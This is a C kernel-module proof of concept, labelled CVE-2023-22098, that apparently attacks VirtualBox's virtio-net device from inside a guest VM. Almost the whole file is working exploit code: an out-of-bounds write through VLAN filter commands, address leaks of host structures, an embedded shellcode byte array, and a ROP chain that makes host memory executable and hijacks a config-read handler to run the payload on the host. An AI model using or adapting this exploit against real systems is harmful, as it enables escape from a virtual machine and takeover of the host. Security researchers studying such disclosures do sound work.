README.md
Rendering markdown...
#include <linux/virtio_config.h>
#include <linux/scatterlist.h>
#include <linux/virtio_net.h>
#include <linux/virtio_pci.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/virtio.h>
#include <linux/device.h>
#include <linux/pci.h>
#define WORD 2
#define VIRTIONET_CTRL_VLAN 2 /**< Control class: VLAN filtering */
#define VIRTIONET_CTRL_VLAN_ADD 0 /**< Add VLAN to filter table */
#define VIRTIONET_CTRL_VLAN_DEL 1 /**< Delete VLAN from filter table */
#define RTMEM_PROT_NONE 0 /** No access at all. */
#define RTMEM_PROT_READ 1 /** Read access. */
#define RTMEM_PROT_WRITE 2 /** Write access. */
#define RTMEM_PROT_EXEC 4 /** Execute access. */
#define LocDeviceCap_off 1844 /** 1844 | 8 VIRTIO_PCI_CAP_LOCATIONS_T LocDeviceCap; */
#define LocDeviceCap_offMmio_off 0 /** 0 | 2 uint16_t offMmio; */
#define LocDeviceCap_cbMmio_off 2 /** 2 | 2 uint16_t cbMmio; */
#define LocCommonCfgCap_off 1828 /** 1828 | 8 VIRTIO_PCI_CAP_LOCATIONS_T LocCommonCfgCap; */
#define LocCommonCfgCap_off_offMmio 0 /** 0 | 2 uint16_t offMmio; */
#define LocCommonCfgCap_off_cbMmio 2 /** 2 | 2 uint16_t cbMmio; */
#define uCapVndr_off 0 /** 0 | uint8_t uCapVndr; */
#define VIRTIO_REGION_PCI_CAP 2
#define uBar_off 4 /** 4 | uint8_t uBar; */
#define uOffset_off 8 /** 8 | uint32_t uOffset; */
#define uLength_off 12 /** 12 | uint32_t uLength; */
#define uPciCfgDataOff_off 1799
#define uMsixVector_off 26
#define uEnable_off 28
#define uNotifyOffset_off 30
#define pfnConfigRead_off 24
#define aVlanFilter_off 3172
#define uVirtqSelect_off 1802
#define virtioR3PciConfigRead_off_VBoxDD 0x370df7
#define VirtioNetSize 7536
#define PPDMCRITSECTSize 256
#define pCritSectRoR3 VirtioNetSize + 16
#define apPciDevs pCritSectRoR3 + PPDMCRITSECTSize
#define PDMPCIDEVINT_s apPciDevs + 64
#define pop_rax_ret 0x1d8489
#define pop_rdx_ret 0x0ac71a
#define pop_rdi_ret 0x4024e4
#define pop_rsi_ret 0x402563
#define RTErrInfoSet_off 0x7b4f38
#define mov_rax_ptr_rax_pop_rbp_ret 0x0e935e
#define add_rax_rdx_pop_rbp_ret 0x0656a0
#define mov_ptr_rdx_rax_nop_pop_rbp_ret 0x595f99
#define ROP_off 0xd00 - 0x200
#define shellcode_off ROP_off - 0x200
struct command_entry {
struct virtio_net_ctrl_hdr hdr;
__virtio16 vlanId;
};
struct dp_xpl {
struct virtqueue *vqueues[3];
struct command_entry *ctrl;
struct pci_dev *pci_dev;
};
/*
* @param offset uVlanId
*/
void oob_write(struct dp_xpl *dev, struct virtio_device *vdev, uint64_t value, uint16_t offset, uint8_t nbits)
{
struct scatterlist *psgs[1];
struct scatterlist sgs[1];
unsigned int len;
uint8_t i;
uint8_t cmd;
for(i = 0; i < nbits; i++)
{
if (value & (1ULL << i))
cmd = VIRTIONET_CTRL_VLAN_ADD;
else
cmd = VIRTIONET_CTRL_VLAN_DEL;
// Setting the control header
dev->ctrl->hdr.class = VIRTIONET_CTRL_VLAN;
dev->ctrl->hdr.cmd = cmd;
dev->ctrl->vlanId = cpu_to_virtio16(vdev, offset * 8 + i);
// Initialize scatterlist
sg_init_one(&sgs[0], dev->ctrl, sizeof(struct command_entry) + 4);
psgs[0] = &sgs[0];
// Add the buffer to the control queue
virtqueue_add_sgs(dev->vqueues[2], psgs, 1, 0, dev, GFP_KERNEL);
// Kick queue to process the command
virtqueue_kick(dev->vqueues[2]);
// Wait for the command to be processed
while (!virtqueue_get_buf(dev->vqueues[2], &len) && !virtqueue_is_broken(dev->vqueues[2]))
{
cpu_relax();
}
}
}
static void leak_addr(struct virtio_device *vdev, struct dp_xpl *dev, uint32_t uOffset, uint32_t uLength, uint16_t uVirtqSelect)
{
oob_write(dev, vdev, 0x00, pCritSectRoR3 + uPciCfgDataOff_off - aVlanFilter_off, 8);
oob_write(dev, vdev, uVirtqSelect, pCritSectRoR3 + uVirtqSelect_off - aVlanFilter_off, 16);
/*
* gef➤ p pVirtio
* $65 = (PVIRTIOCORE) 0x7fffb00561c0
*
* gef➤ p &pVirtioCC->pPciCfgCap->pciCap
* $66 = (virtio_pci_cap *) 0x7fffb00564c0
*
* gef➤ p/x 0x7fffb00564c0 - 0x7fffb00561c0
* $67 = 0x300
*/
oob_write(dev, vdev, 0xff, pCritSectRoR3 + 0x300 + uCapVndr_off - aVlanFilter_off, 8);
oob_write(dev, vdev, VIRTIO_REGION_PCI_CAP, pCritSectRoR3 + 0x300 + uBar_off - aVlanFilter_off, 8);
oob_write(dev, vdev, uOffset, pCritSectRoR3 + 0x300 + uOffset_off - aVlanFilter_off, 8);
oob_write(dev, vdev, uLength, pCritSectRoR3 + 0x300 + uLength_off - aVlanFilter_off, 8);
oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocDeviceCap_off + LocDeviceCap_offMmio_off - aVlanFilter_off, 16);
oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocDeviceCap_off + LocDeviceCap_cbMmio_off - aVlanFilter_off, 16);
oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocCommonCfgCap_off + LocCommonCfgCap_off_offMmio - aVlanFilter_off, 16);
oob_write(dev, vdev, 0xff, pCritSectRoR3 + LocCommonCfgCap_off + LocCommonCfgCap_off_cbMmio - aVlanFilter_off, 16);
// We modify pDevInsR3 to point to pDevInsR3 + 0x10.
oob_write(dev, vdev, 0x10, PDMPCIDEVINT_s - aVlanFilter_off, 8);
}
static int dp_virtio_net_probe(struct virtio_device *vdev)
{
static vq_callback_t *callbacks[] = {NULL, NULL, NULL};
struct dp_xpl *dev = NULL;
static const char *names[] = {"rx", "tx", "ctrl"};
uint16_t val = 0;
uint64_t pDevInsR3_addr = 0;
uint64_t virtioR3PciConfigRead_addr = 0;
uint64_t VBoxDD_addr = 0;
int rc = 0;
int i = 0;
unsigned char shellcode[] = {
0x48, 0x31, 0xc0, 0xb0, 0x39, 0x0f, 0x05, 0x48, 0x85, 0xc0, 0x74, 0x1d,
0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xd2, 0x48, 0x89, 0xc7,
0xb8, 0x3d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x0f, 0x05, 0x48, 0xbb, 0xff, 0x2f, 0x67, 0x65, 0x64,
0x69, 0x74, 0x00, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x48, 0xbb, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x53, 0x54, 0x5f, 0x48, 0xbb, 0xff,
0x3a, 0x30, 0x2e, 0x30, 0x00, 0x00, 0x00, 0x48, 0xc1, 0xeb, 0x08, 0x53,
0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54,
0x5a, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x54, 0x5a, 0x50, 0x57, 0x54, 0x5e,
0xb0, 0x3b, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00,
0x00, 0x00, 0x0f, 0x05
};
pr_info("==> probe\n");
dev = kzalloc(sizeof(struct dp_xpl), GFP_KERNEL);
if (!dev) return -ENOMEM;
dev->ctrl = kzalloc(sizeof(struct command_entry), GFP_KERNEL);
if (!dev->ctrl) return -ENOMEM;
rc = virtio_find_vqs(vdev, 3, dev->vqueues, callbacks, names, NULL);
if (rc) return rc;
vdev->priv = dev;
virtio_device_ready(vdev);
pr_info("[+] device ready [+]\n");
dev->pci_dev = to_pci_dev(vdev->dev.parent);
leak_addr(vdev, dev, uNotifyOffset_off, WORD, 0);
pci_read_config_word(dev->pci_dev, 0, &val);
pDevInsR3_addr |= ((uint64_t)val << 32);
leak_addr(vdev, dev, uEnable_off, WORD, 0);
pci_read_config_word(dev->pci_dev, 0, &val);
pDevInsR3_addr |= ((uint64_t)val << 16);
leak_addr(vdev, dev, uMsixVector_off, WORD, 0);
pci_read_config_word(dev->pci_dev, 0, &val);
pDevInsR3_addr |= val;
printk("[+] pDevInsR3_addr: 0x%llx\n", pDevInsR3_addr);
leak_addr(vdev, dev, uNotifyOffset_off, WORD, 4);
pci_read_config_word(dev->pci_dev, 0, &val);
virtioR3PciConfigRead_addr |= ((uint64_t)val << 32);
leak_addr(vdev, dev, uEnable_off, WORD, 4);
pci_read_config_word(dev->pci_dev, 0, &val);
virtioR3PciConfigRead_addr |= ((uint64_t)val << 16);
leak_addr(vdev, dev, uMsixVector_off, WORD, 4);
pci_read_config_word(dev->pci_dev, 0, &val);
virtioR3PciConfigRead_addr |= val;
printk("[+] virtioR3PciConfigRead_addr: 0x%llx\n", virtioR3PciConfigRead_addr);
VBoxDD_addr = virtioR3PciConfigRead_addr - virtioR3PciConfigRead_off_VBoxDD;
printk("[+] VBoxDD: 0x%llx\n", VBoxDD_addr);
//copy payload
for (i = 0; i < sizeof(shellcode); i++)
{
oob_write(dev, vdev, shellcode[i], PDMPCIDEVINT_s + shellcode_off + i - aVlanFilter_off, 8);
}
oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off - aVlanFilter_off, 64);
oob_write(dev, vdev, VBoxDD_addr + pop_rax_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 1) - aVlanFilter_off, 64); //pop rax
oob_write(dev, vdev, VBoxDD_addr + RTErrInfoSet_off, PDMPCIDEVINT_s + ROP_off + (0x8 * 2) - aVlanFilter_off, 64); //RTErrInfoSet
oob_write(dev, vdev, VBoxDD_addr + mov_rax_ptr_rax_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 3) - aVlanFilter_off, 64); //mov rax, qword ptr [rax]; pop rbp; ret;
oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 4) - aVlanFilter_off, 64); //rbp value
//calculate RTMemProtect relative to RTErrInfoSet.
oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 5) - aVlanFilter_off, 64); //pop rdx
oob_write(dev, vdev, 0x270be2, PDMPCIDEVINT_s + ROP_off + (0x8 * 6) - aVlanFilter_off, 64); //valor rdx
oob_write(dev, vdev, VBoxDD_addr + add_rax_rdx_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 7) - aVlanFilter_off, 64); //add rax, rdx; pop rbp; ret;
oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 8) - aVlanFilter_off, 64); //valor rbp
oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 9) - aVlanFilter_off, 64); //pop rdx
oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 + (19 * 8), PDMPCIDEVINT_s + ROP_off + (0x8 * 10) - aVlanFilter_off, 64); //rdx value
oob_write(dev, vdev, VBoxDD_addr + mov_ptr_rdx_rax_nop_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 11) - aVlanFilter_off, 64); //mov qword ptr [rdx], rax; nop; pop rbp; ret;
oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 12) - aVlanFilter_off, 64); //valor rbp
//at this point, we have written the address of RTMemProtect into our ROP chain area.
oob_write(dev, vdev, VBoxDD_addr + pop_rdi_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 13) - aVlanFilter_off, 64); //pop rdi
oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 14) - aVlanFilter_off, 64); //rdi value
oob_write(dev, vdev, VBoxDD_addr + pop_rsi_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 15) - aVlanFilter_off, 64); //pop rsi
oob_write(dev, vdev, 0x1000, PDMPCIDEVINT_s + ROP_off + (0x8 * 16) - aVlanFilter_off, 64); //rsi value
oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 17) - aVlanFilter_off, 64); //pop rdx
oob_write(dev, vdev, RTMEM_PROT_READ | RTMEM_PROT_WRITE | RTMEM_PROT_EXEC, PDMPCIDEVINT_s + ROP_off + (0x8 * 18) - aVlanFilter_off, 64); //rdx value
oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 20) - aVlanFilter_off, 64);
//modify pDevInsR3.
oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200, PDMPCIDEVINT_s - aVlanFilter_off, 64);
oob_write(dev, vdev, VBoxDD_addr + 0x4d1a2f, PDMPCIDEVINT_s + pfnConfigRead_off - aVlanFilter_off, 64);
//win
pci_read_config_word(dev->pci_dev, 0, &val);
return 0;
}
static void dp_virtio_net_remove(struct virtio_device *vdev)
{
struct dp_xpl *dev = vdev->priv;
// Reset the device and free the virtqueues
vdev->config->reset(vdev);
vdev->config->del_vqs(vdev);
kfree(dev->ctrl);
kfree(dev);
pr_info("[+] virtio-net removed [+].\n");
}
static const struct virtio_device_id dp_virtio_net_id_table[] = {
{ VIRTIO_ID_NET, VIRTIO_DEV_ANY_ID },
{ 0 },
};
static struct virtio_driver dp_virtio_net = {
.driver.name = "dp_virtio_net",
.id_table = dp_virtio_net_id_table,
.probe = dp_virtio_net_probe,
.remove = dp_virtio_net_remove,
};
// The `module_init` and `module_exit` functions are already implicit in the `module_virtio_driver` macro.
module_virtio_driver(dp_virtio_net);
MODULE_DESCRIPTION("PoC CVE-2023-22098");
MODULE_AUTHOR("DiegoAltF4");
MODULE_LICENSE("GPL");